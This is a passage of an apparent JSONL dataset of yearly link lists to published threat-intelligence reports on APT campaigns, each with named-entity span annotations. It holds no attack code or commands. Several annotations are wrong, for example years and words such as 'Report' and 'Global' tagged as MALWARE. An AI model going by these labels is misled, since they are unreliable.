https://ssu.gov.ua/uploads/files/DKIB/Technical%20report%20Armagedon.pdf": [[2155, 2227]], "URL: https://www.crowdstrik": [[2333, 2355]], "MALWARE: 2021": [[422, 426], [1383, 1387], [1937, 1941], [1999, 2003], [2061, 2065]], "THREAT_ACTOR: TA505": [[1885, 1890]], "THREAT_ACTOR: Ghostwriter": [[1107, 1118]], "THREAT_ACTOR: Void Balaur": [[1682, 1693]], "THREAT_ACTOR: DarkHotel": [[153, 162]], "THREAT_ACTOR: BlackTech": [[43, 52]], "THREAT_ACTOR: LightBasin": [[2271, 2281]], "THREAT_ACTOR: FIN13": [[502, 507]], "SYSTEM: macOS": [[1526, 1531]], "SYSTEM: SolarWinds": [[1900, 1910]], "SYSTEM: Trend Micro": [[806, 817], [1669, 1680]], "SYSTEM: ESET": [[312, 316], [1276, 1280]], "ORGANIZATION: Mandiant": [[492, 500], [1033, 1041]], "ORGANIZATION: Zscaler": [[140, 147]], "ORGANIZATION: CrowdStrike": [[2258, 2269]], "ORGANIZATION: Google": [[1477, 1483]], "VULNERABILITY: watering hole": [[1497, 1510]], "MALWARE: Conti": [[654, 659]], "MALWARE: Report": [[18, 24]], "MALWARE: Void": [[1682, 1686]]}, "info": {"source": "apt_reports", "name": "2021"}}
+{"text": "* Dec 30 - [[Recorded Future] SolarWinds Attribution: Are We Getting Ahead of Ourselves?](https://go.recordedfuture.com/hubfs/reports/pov-2020-1230.pdf) | :closed_book:\n* Dec 29 - [[Uptycs] Revenge RAT targeting users in South America](https://www.uptycs.com/blog/revenge-rat-targeting-users-in-south-america) | :closed_book:\n* Dec 23 - [[Kaspersky] Lazarus covets COVID-19-related intelligence](https://securelist.com/lazarus-covets-covid-19-related-intelligence/99906/) | :closed_book:\n* Dec 22 - [[Truesec] Collaboration between FIN7 and the RYUK group, a Truesec Investigation](https://blog.truesec.com/2020/12/22/collaboration-between-fin7-and-the-ryuk-group-a-truesec-investigation/) | :closed_book:\n* Dec 19 - [[VinCSS] Analyzing new malware of China Panda hacker group used to attack supply chain against Vietnam Government Certification Authority](https://blog.vincss.net/2020/12/re018-1-analyzing-new-malware-of-china-panda-hacker-group-used-to-attack-supply-chain-against-vietnam-government-certification-authority.html?m=1) | :closed_book:\n* Dec 17 - [[ClearSky] Pay2Kitten](https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf) | :closed_book:\n* Dec 17 - [[ESET] Operation SignSight: Supply‑chain attack against a certification authority in Southeast Asia](https://www.welivesecurity.com/2020/12/17/operation-signsight-supply-chain-attack-southeast-asia/) | :closed_book:\n* Dec 16 - [[Team Cymru] Mapping out AridViper Infrastructure Using Augury’s Malware Module](https://team-cymru.com/blog/2020/12/16/mapping-out-aridviper-infrastructure-using-augurys-malware-addon/) | :closed_book:\n* Dec 15 - [[WeiXin] APT-C-47 ClickOnce Operation](https://mp.weixin.qq.com/s/h_MUJfa3QGM9SqT_kzcdHQ) | :closed_book:\n* Dec 15 - [[hvs consulting] Greetings from Lazarus Anatomy of a cyber espionage campaign](https://www.hvs-consulting.de/media/downloads/ThreatReport-Lazarus.pdf) | :closed_book:\n* Dec 13 - [[Fireeye] Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor](https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html) | :closed_book:\n* Dec 09 - [[Intezer] A Zebra in Gopher's Clothing: Russian APT Uses COVID-19 Lures to Deliver Zebrocy](https://www.intezer.com/blog/research/russian-apt-uses-covid-19-lures-", "spans": {"URL: https://go.recordedfuture.com/hubfs/reports/pov-2020-1230.pdf": [[90, 151]], "URL: https://www.uptycs.com/blog/revenge-rat-targeting-users-in-south-america": [[236, 308]], "URL: https://securelist.com/lazarus-covets-covid-19-related-intelligence/99906/": [[396, 470]], "URL: https://blog.truesec.com/2020/12/22/collaboration-between-fin7-and-the-ryuk-group-a-truesec-investigation/": [[582, 688]], "URL: https://blog.vincss.net/2020/12/re018-1-analyzing-new-malware-of-china-panda-hacker-group-used-to-attack-supply-chain-against-vietnam-government-certification-authority.html?m=1": [[857, 1034]], "URL: https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf": [[1087, 1156]], "URL: https://www.welivesecurity.com/2020/12/17/operation-signsight-supply-chain-attack-southeast-asia/": [[1287, 1384]], "URL: https://team-cymru.com/blog/2020/12/16/mapping-out-aridviper-infrastructure-using-augurys-malware-addon/": [[1495, 1599]], "URL: https://mp.weixin.qq.com/s/h_MUJfa3QGM9SqT_kzcdHQ": [[1668, 1717]], "URL: https://www.hvs-consulting.de/media/downloads/ThreatReport-Lazarus.pdf": [[1826, 1896]], "URL: https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html": [[2056, 2199]], "URL: https://www.intezer.com/blog/research/russian-apt-uses-covid-19-lures-": [[2321, 2391]], "FILEPATH: /media/downloads/ThreatReport-Lazarus.pdf)": [[1855, 1897]], "MALWARE: 2020": [[138, 142], [607, 611], [881, 885], [1134, 1138], [1318, 1322], [1523, 1527], [2101, 2105]], "THREAT_ACTOR: AridViper": [[1439, 1448]], "THREAT_ACTOR: FIN7": [[532, 536]], "SYSTEM: SolarWinds": [[30, 40], [1970, 1980]], "SYSTEM: Kaspersky": [[339, 348]], "SYSTEM: ESET": [[1187, 1191]], "ORGANIZATION: Intezer": [[2230, 2237]], "ORGANIZATION: Recorded Future": [[13, 28]], "ORGANIZATION: ClearSky": [[1065, 1073]], "MALWARE: Zebrocy": [[2312, 2319]], "MALWARE: Revenge RAT": [[190, 201]], "MALWARE: Global": [[2017, 2023]], "MALWARE: SUNBURST": [[2037, 2045]]}, "info": {"source": "apt_reports", "name": "2020"}}
+{"text": "* Dec 29 - [[Dell] BRONZE PRESIDENT Targets NGOs](https://www.secureworks.com/research/bronze-president-targets-ngos) | :closed_book:\n* Dec 26 - [[Pedro Tavares] Targeting Portugal: A new trojan ‘Lampion’ has spread using template emails from the Portuguese Government Finance & Tax](https://seguranca-informatica.pt/targeting-portugal-a-new-trojan-lampion-has-spread-using-template-emails-from-the-portuguese-government-finance-tax/) | :closed_book:\n* Dec 19 - [[FoxIT] Operation Wocao](https://resources.fox-it.com/rs/170-CAK-271/images/201912_Report_Operation_Wacao.pdf) | :closed_book:\n* Dec 17 - [[PaloAlto] Rancor: Cyber Espionage Group Uses New Custom Malware to Attack Southeast Asia](https://unit42.paloaltonetworks.com/rancor-cyber-espionage-group-uses-new-custom-malware-to-attack-southeast-asia/) | :closed_book:\n* Dec 17 - [[360] Dacls, the Dual platform RAT](https://blog.netlab.360.com/dacls-the-dual-platform-rat-en/) | :closed_book:\n* Dec 16 - [[Sophos] MyKings: The Slow But Steady Growth of a Relentless Botnet](https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/sophoslabs-uncut-mykings-report.pdf) | :closed_book:\n* Dec 12 - [[Trend Micro] Drilling Deep: A Look at Cyberattacks on the Oil and Gas Industry](https://documents.trendmicro.com/assets/white_papers/wp-drilling-deep-a-look-at-cyberattacks-on-the-oil-and-gas-industry.pdf) | :closed_book:\n* Dec 12 - [[Microsoft] GALLIUM: Targeting global telecom](https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/) | :closed_book:\n* Dec 12 - [[Recorded Future] Operation Gamework: Infrastructure Overlaps Found Between BlueAlpha and Iranian APTs](https://go.recordedfuture.com/hubfs/reports/cta-2019-1212.pdf) | :closed_book:\n* Dec 11 - [[Trend Micro] Waterbear is Back, Uses API Hooking to Evade Security Product Detection](https://blog.trendmicro.com/trendlabs-security-intelligence/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection/) | :closed_book:\n* Dec 11 - [[Cyberason] DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE](https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware) | :closed_book:\n* Dec 10 - [[Sentinel] Anchor Project: The Deadly Planeswalker: How The TrickBot Group United High-Tech Crimeware & APT](https://labs.sentinelone.com/the-deadly-planeswalker-how-the-trickbot-group-united-high-tech-crimew", "spans": {"URL: https://www.secureworks.com/research/bronze-president-targets-ngos": [[50, 116]], "URL: https://seguranca-informatica.pt/targeting-portugal-a-new-trojan-lampion-has-spread-using-template-emails-from-the-portuguese-government-finance-tax/": [[284, 433]], "URL: https://resources.fox-it.com/rs/170-CAK-271/images/201912_Report_Operation_Wacao.pdf": [[488, 572]], "URL: https://unit42.paloaltonetworks.com/rancor-cyber-espionage-group-uses-new-custom-malware-to-attack-southeast-asia/": [[693, 807]], "URL: https://blog.netlab.360.com/dacls-the-dual-platform-rat-en/": [[873, 932]], "URL: https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/sophoslabs-uncut-mykings-report.pdf": [[1031, 1130]], "URL: https://documents.trendmicro.com/assets/white_papers/wp-drilling-deep-a-look-at-cyberattacks-on-the-oil-and-gas-industry.pdf": [[1241, 1365]], "URL: https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/": [[1442, 1526]], "URL: https://go.recordedfuture.com/hubfs/reports/cta-2019-1212.pdf": [[1660, 1721]], "URL: https://blog.trendmicro.com/trendlabs-security-intelligence/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection/": [[1838, 1969]], "URL: https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware": [[2094, 2206]], "URL: https://labs.sentinelone.com/the-deadly-planeswalker-how-the-trickbot-group-united-high-tech-crimew": [[2345, 2444]], "MALWARE: 2019": [[1482, 1486], [1708, 1712]], "THREAT_ACTOR: GALLIUM": [[1407, 1414]], "THREAT_ACTOR: Operation Wocao": [[471, 486]], "SYSTEM: Sophos": [[963, 969]], "SYSTEM: Trend Micro": [[1161, 1172], [1752, 1763]], "ORGANIZATION: Microsoft": [[1396, 1405]], "ORGANIZATION: Recorded Future": [[1557, 1572]], "MALWARE: TrickBot": [[2296, 2304]], "MALWARE: Rancor": [[613, 619]], "MALWARE: lampion": [[349, 356]], "MALWARE: Waterbear": [[1765, 1774]], "MALWARE: Anchor": [[2247, 2253]], "MALWARE: Dacls": [[843, 848]]}, "info": {"source": "apt_reports", "name": "2019"}}
+{"text": "* Dec 28 - [[Medium] Goblin Panda changes the dropper and reuses the old infrastructure](https://medium.com/@Sebdraven/goblin-panda-changes-the-dropper-and-reused-the-old-infrastructure-a35915f3e37a) | :closed_book:\n* Dec 27 - [[Cybaze-Yoroi Z-LAB] The Enigmatic “Roma225” Campaign](https://blog.yoroi.company/research/the-enigmatic-roma225-campaign/) | :closed_book:\n* Dec 20 - [[Objective-See] Middle East Cyber-Espionage: analyzing WindShift's implant: OSX.WindTail](https://objective-see.com/blog/blog_0x3B.html)| :closed_book:\n* Dec 18 - [[Trend Micro] URSNIF, EMOTET, DRIDEX and BitPaymer Gangs Linked by a Similar Loader](https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-emotet-dridex-and-bitpaymer-gangs-linked-by-a-similar-loader/) | :closed_book:\n* Dec 13 - [[Certfa] The Return of The Charming Kitten](https://blog.certfa.com/posts/the-return-of-the-charming-kitten/) | :closed_book:\n* Dec 13 - [[Trend Micro] Tildeb: Analyzing the 18-year-old Implant from the Shadow Brokers’ Leak](https://documents.trendmicro.com/assets/tech-brief-tildeb-analyzing-the-18-year-old-implant-from-the-shadow-brokers-leak.pdf) | :closed_book:\n* Dec 13 - [[Palo Alto Networks] Shamoon 3 Targets Oil and Gas Organization](https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/) | :closed_book:\n* Dec 12 - [[McAfee] ‘Operation Sharpshooter’ Targets Global Defense, Critical Infrastructure](https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf) | :closed_book:\n* Dec 12 - [[360] Donot (APT-C-35) Group Is Targeting Pakistani Businessman Working In China](https://ti.360.net/blog/articles/donot-group-is-targeting-pakistani-businessman-working-in-china-en/) | :closed_book:\n* Dec 11 - [[Cylance] Poking the Bear: Three-Year Campaign Targets Russian Critical Infrastructure](https://threatvector.cylance.com/en_us/home/poking-the-bear-three-year-campaign-targets-russian-critical-infrastructure.html) | :closed_book:\n* Nov ?? - [[Google] The Hunt for 3ve](https://services.google.com/fh/files/blogs/3ve_google_whiteops_whitepaper_final_nov_2018.pdf) | :closed_book:\n* Nov 30 - [[Trend Micro] New PowerShell-based Backdoor Found in Turkey, Strikingly Similar to MuddyWater Tools](https://blog.trendmicro.com/trendlabs-security-intelligence/new-powershell-based-backdoor-found-in-turkey-strikingly-similar-to-muddywater-tool", "spans": {"URL: https://medium.com/@Sebdraven/goblin-panda-changes-the-dropper-and-reused-the-old-infrastructure-a35915f3e37a": [[89, 198]], "URL: https://blog.yoroi.company/research/the-enigmatic-roma225-campaign/": [[283, 350]], "URL: https://objective-see.com/blog/blog_0x3B.html": [[470, 515]], "URL: https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-emotet-dridex-and-bitpaymer-gangs-linked-by-a-similar-loader/": [[629, 757]], "URL: https://blog.certfa.com/posts/the-return-of-the-charming-kitten/": [[831, 895]], "URL: https://documents.trendmicro.com/assets/tech-brief-tildeb-analyzing-the-18-year-old-implant-from-the-shadow-brokers-leak.pdf": [[1012, 1136]], "URL: https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/": [[1231, 1306]], "URL: https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf": [[1419, 1503]], "URL: https://ti.360.net/blog/articles/donot-group-is-targeting-pakistani-businessman-working-in-china-en/": [[1615, 1715]], "URL: https://threatvector.cylance.com/en_us/home/poking-the-bear-three-year-campaign-targets-russian-critical-infrastructure.html": [[1833, 1957]], "URL: https://services.google.com/fh/files/blogs/3ve_google_whiteops_whitepaper_final_nov_2018.pdf": [[2014, 2106]], "URL: https://blog.trendmicro.com/trendlabs-security-intelligence/new-powershell-based-backdoor-found-in-turkey-strikingly-similar-to-muddywater-tool": [[2237, 2380]], "FILEPATH: /home/poking-the-bear-three-year-campaign-targets-russian-critical-infrastructure.html)": [[1871, 1958]], "THREAT_ACTOR: Charming Kitten": [[814, 829]], "THREAT_ACTOR: Operation Sharpshooter": [[1346, 1368]], "THREAT_ACTOR: WindShift": [[435, 444]], "THREAT_ACTOR: MuddyWater": [[2219, 2229]], "TOOL: PowerShell": [[2154, 2164]], "TOOL: powershell": [[2301, 2311]], "SYSTEM: McAfee": [[1337, 1343]], "SYSTEM: Palo Alto": [[1167, 1176]], "SYSTEM: Trend Micro": [[545, 556], [926, 937], [2137, 2148]], "ORGANIZATION: Palo Alto Networks": [[1167, 1185]], "ORGANIZATION: Google": [[1988, 1994]], "MALWARE: Shamoon": [[1187, 1194]], "MALWARE: Sharpshooter": [[1356, 1368]], "MALWARE: Global": [[1378, 1384]], "MALWARE: tildeb": [[1063, 1069]], "MALWARE: WindTail": [[460, 468]], "MALWARE: BitPaymer": [[585, 594]]}, "info": {"source": "apt_reports", "name": "2018"}}
+{"text": "* Dec 19 - [[Proofpoint] North Korea Bitten by Bitcoin Bug: Financially motivated campaigns reveal new dimension of the Lazarus Group](https://www.proofpoint.com/us/threat-insight/post/north-korea-bitten-bitcoin-bug-financially-motivated-campaigns-reveal-new) | :closed_book: \n* Dec 17 - [[McAfee] Operation Dragonfly Analysis Suggests Links to Earlier Attacks](https://securingtomorrow.mcafee.com/mcafee-labs/operation-dragonfly-analysis-suggests-links-to-earlier-attacks/) | :closed_book: \n* Dec 14 - [[FireEye] Attackers Deploy New ICS Attack Framework “TRITON” and Cause Operational Disruption to Critical Infrastructure](https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html) | :closed_book: \n* Dec 11 - [[Group-IB] MoneyTaker, revealed after 1.5 years of silent operations.](https://www.group-ib.com/resources/reports/money-taker.html) | :closed_book: \n* Dec 11 - [[Trend Micro] Untangling the Patchwork Cyberespionage Group](http://blog.trendmicro.com/trendlabs-security-intelligence/untangling-the-patchwork-cyberespionage-group/) | :closed_book: \n* Dec 07 - [[FireEye] New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit](https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html) | :closed_book:\n* Dec 05 - [[ClearSky] Charming Kitten: Iranian Cyber Espionage Against Human Rights Activists, Academic Researchers and Media Outlets – And the HBO Hacker Connection](http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf) | :closed_book: \n* Dec 04 - [[RSA] The Shadows of Ghosts: Inside the Response of a Unique Carbanak Intrusion](https://community.rsa.com/community/products/netwitness/blog/2017/12/04/anatomy-of-an-attack-carbanak) | :closed_book:\n* Nov 22 - [[REAQTA] A dive into MuddyWater APT targeting Middle-East](https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/) | :closed_book:\n* Nov 14 - [[Palo Alto Networks] Muddying the Water: Targeted Attacks in the Middle East](https://researchcenter.paloaltonetworks.com/2017/11/2017.11.14.Muddying_the_Water) | :closed_book:\n* Nov 10 - [[Palo Alto Networks] New Malware with Ties to SunOrcal Discovered](https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-t", "spans": {"CVE_ID: CVE-2017-11882": [[1220, 1234]], "URL: https://www.proofpoint.com/us/threat-insight/post/north-korea-bitten-bitcoin-bug-financially-motivated-campaigns-reveal-new": [[135, 258]], "URL: https://securingtomorrow.mcafee.com/mcafee-labs/operation-dragonfly-analysis-suggests-links-to-earlier-attacks/": [[362, 473]], "URL: https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html": [[626, 732]], "URL: https://www.group-ib.com/resources/reports/money-taker.html": [[834, 893]], "URL: http://blog.trendmicro.com/trendlabs-security-intelligence/untangling-the-patchwork-cyberespionage-group/": [[985, 1090]], "URL: https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html": [[1244, 1341]], "URL: http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf": [[1527, 1605]], "URL: https://community.rsa.com/community/products/netwitness/blog/2017/12/04/anatomy-of-an-attack-carbanak": [[1717, 1818]], "URL: https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/": [[1907, 1971]], "URL: https://researchcenter.paloaltonetworks.com/2017/11/2017.11.14.Muddying_the_Water": [[2079, 2160]], "URL: https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-t": [[2257, 2339]], "MALWARE: 2017": [[671, 675], [1224, 1228], [1289, 1293], [1573, 1577], [1778, 1782], [1926, 1930], [2123, 2127], [2131, 2135], [2301, 2305]], "THREAT_ACTOR: Charming Kitten": [[1382, 1397]], "THREAT_ACTOR: MoneyTaker": [[774, 784]], "THREAT_ACTOR: Lazarus Group": [[120, 133]], "THREAT_ACTOR: APT34": [[1173, 1178]], "THREAT_ACTOR: MuddyWater": [[1869, 1879]], "SYSTEM: McAfee": [[290, 296]], "SYSTEM: Palo Alto": [[2002, 2011], [2191, 2200]], "SYSTEM: Trend Micro": [[925, 936]], "ORGANIZATION: Group-IB": [[764, 772]], "ORGANIZATION: Proofpoint": [[13, 23]], "ORGANIZATION: Palo Alto Networks": [[2002, 2020], [2191, 2209]], "ORGANIZATION: FireEye": [[505, 512], [1122, 1129]], "ORGANIZATION: RSA": [[1637, 1640]], "ORGANIZATION: ClearSky": [[1372, 1380]], "MALWARE: Carbanak": [[1697, 1705]], "MALWARE: TRITON": [[557, 563]], "MALWARE: Dragonfly": [[308, 317]], "MALWARE: Patchwork": [[953, 962]]}, "info": {"source": "apt_reports", "name": "2017"}}
+{"text": "* Dec 15 - [[Microsoft] PROMETHIUM and NEODYMIUM APT groups on Turkish citizens living in Turkey and various other European countries.](http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf) | :closed_book:\n* Dec 13 - [[ESET] The rise of TeleBots: Analyzing disruptive KillDisk attacks](http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/) | :closed_book:\n* Nov 30 - [[Cysinfo] MALWARE ACTORS USING NIC CYBER SECURITY THEMED SPEAR PHISHING TO TARGET INDIAN GOVERNMENT ORGANIZATIONS](https://cysinfo.com/malware-actors-using-nic-cyber-security-themed-spear-phishing-target-indian-government-organizations/) | :closed_book:\n* Nov 22 - [[Palo Alto Networks] Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy](http://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/) | :closed_book:\n* Nov 09 - [[Fidelis] Down the H-W0rm Hole with Houdini's RAT](https://www.fidelissecurity.com/threatgeek/2016/11/down-h-w0rm-hole-houdinis-rat) | :closed_book:\n* Nov 03 - [[Booz Allen] When The Lights Went Out: Ukraine Cybersecurity Threat Briefing](http://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf) | :closed_book:\n* Oct 31 - [[Palo Alto Networks] Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?](http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/) | :closed_book:\n* Oct 27 - [[ESET] En Route with Sednit Part 3: A Mysterious Downloader](http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf) | :closed_book:\n* Oct 27 - [[Trend Micro] BLACKGEAR Espionage Campaign Evolves, Adds Japan To Target List](http://blog.trendmicro.com/trendlabs-security-intelligence/blackgear-espionage-campaign-evolves-adds-japan-target-list/) | :closed_book:\n* Oct 26 - [[Vectra Networks] Moonlight – Targeted attacks in the Middle East](http://blog.vectranetworks.com/blog/moonlight-middle-east-targeted-attacks) | :closed_book:\n* Oct 25 - [[Palo Alto Networks] Hou", "spans": {"URL: http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf": [[136, 278]], "URL: http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/": [[376, 469]], "URL: https://cysinfo.com/malware-actors-using-nic-cyber-security-themed-spear-phishing-target-indian-government-organizations/": [[614, 735]], "URL: http://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/": [[872, 1015]], "URL: https://www.fidelissecurity.com/threatgeek/2016/11/down-h-w0rm-hole-houdinis-rat": [[1096, 1176]], "URL: http://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf": [[1284, 1392]], "URL: http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/": [[1519, 1643]], "URL: http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf": [[1734, 1812]], "URL: http://blog.trendmicro.com/trendlabs-security-intelligence/blackgear-espionage-campaign-evolves-adds-japan-target-list/": [[1921, 2040]], "URL: http://blog.vectranetworks.com/blog/moonlight-middle-east-targeted-attacks": [[2137, 2211]], "MALWARE: 2016": [[406, 410], [915, 919], [1139, 1143], [1341, 1345], [1562, 1566], [1783, 1787]], "THREAT_ACTOR: TeleBots": [[327, 335]], "THREAT_ACTOR: NEODYMIUM": [[39, 48]], "THREAT_ACTOR: PROMETHIUM": [[24, 34]], "SYSTEM: Palo Alto": [[766, 775], [1423, 1432], [2242, 2251]], "SYSTEM: Trend Micro": [[1843, 1854]], "SYSTEM: ESET": [[309, 313], [1674, 1678]], "ORGANIZATION: Palo Alto Networks": [[766, 784], [1423, 1441], [2242, 2260]], "ORGANIZATION: Microsoft": [[13, 22]], "ORGANIZATION: Vectra": [[2071, 2077]], "VULNERABILITY: spear-phishing": [[681, 695]], "VULNERABILITY: phishing": [[687, 695]], "MALWARE: Tropic Trooper": [[786, 800]], "MALWARE: Emissary": [[1443, 1451]], "MALWARE: Houdini": [[1081, 1088]], "MALWARE: Lotus": [[1484, 1489]], "MALWARE: KillDisk": [[358, 366]], "MALWARE: Lotus Blossom": [[1484, 1497]]}, "info": {"source": "apt_reports", "name": "2016"}}
+{"text": "* Dec 23 - [[PwC] ELISE: Security Through Obesity](http://pwc.blogs.com/cyber_security_updates/2015/12/elise-security-through-obesity.html) | :closed_book:\n* Dec 22 - [[Palo Alto Networks] BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger](http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/) | :closed_book:\n* Dec 20 - [[FireEye] The EPS Awakens - Part 2](https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html) | :closed_book:\n* Dec 18 - [[Palo Alto Networks] Attack on French Diplomat Linked to Operation Lotus Blossom](http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/) | :closed_book:\n* Dec 16 - [[Bitdefender] APT28 Under the Scope - A Journey into Exfiltrating Intelligence and Government Information](http://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf) | :closed_book: \n* Dec 16 - [[Trend Micro] Operation Black Atlas, Part 2: Tools and Malware Used and How to Detect Them](http://documents.trendmicro.com/assets/Operation_Black%20Atlas_Technical_Brief.pdf) | :closed_book:\n* Dec 16 - [[Fidelis] Dissecting the Malware Involved in the INOCNATION Campaign](https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL.pdf) | :closed_book:\n* Dec 15 - [[AirBus] Newcomers in the Derusbi family](http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family) | :closed_book:\n* Dec 08 - [[Citizen Lab] Packrat: Seven Years of a South American Threat Actor](https://citizenlab.org/2015/12/packrat-report/) | :closed_book:\n* Dec 07 - [[FireEye] Financial Threat Group Targets Volume Boot Record](https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html) | :closed_book:\n* Dec 07 - [[Symantec] Iran-based attackers use back door threats to spy on Middle Eastern targets](http://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets) | :closed_book:\n* Dec 04 - [[Kaspersky] Sofacy APT hits high profile targets with updated toolset](https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/", "spans": {"URL: http://pwc.blogs.com/cyber_security_updates/2015/12/elise-security-through-obesity.html": [[51, 138]], "URL: http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/": [[261, 383]], "URL: https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html": [[449, 531]], "URL: http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/": [[643, 754]], "URL: http://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf": [[891, 1045]], "URL: http://documents.trendmicro.com/assets/Operation_Black%20Atlas_Technical_Brief.pdf": [[1168, 1250]], "URL: https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL.pdf": [[1350, 1439]], "URL: http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family": [[1511, 1591]], "URL: https://citizenlab.org/2015/12/packrat-report/": [[1690, 1736]], "URL: https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html": [[1827, 1909]], "URL: http://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets": [[2027, 2134]], "URL: https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/": [[2235, 2336]], "FILEPATH: /media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf)": [[932, 1046]], "MALWARE: 2015": [[95, 99], [304, 308], [494, 498], [686, 690], [1552, 1556], [1713, 1717], [1872, 1876]], "THREAT_ACTOR: Packrat": [[1635, 1642]], "THREAT_ACTOR: APT28": [[798, 803]], "SYSTEM: Kaspersky": [[2165, 2174]], "SYSTEM: Symantec": [[1940, 1948]], "SYSTEM: Palo Alto": [[169, 178], [562, 571]], "SYSTEM: Trend Micro": [[1077, 1088]], "SYSTEM: Bitdefender": [[785, 796]], "ORGANIZATION: Palo Alto Networks": [[169, 187], [562, 580]], "ORGANIZATION: FireEye": [[414, 421], [1767, 1774]], "ORGANIZATION: PwC": [[13, 16]], "ORGANIZATION: Citizen Lab": [[1622, 1633]], "MALWARE: BBSRAT": [[189, 195]], "MALWARE: Derusbi": [[1495, 1502], [1577, 1584]], "MALWARE: Lotus": [[628, 633]], "MALWARE: Lotus Blossom": [[628, 641]]}, "info": {"source": "apt_reports", "name": "2015"}}
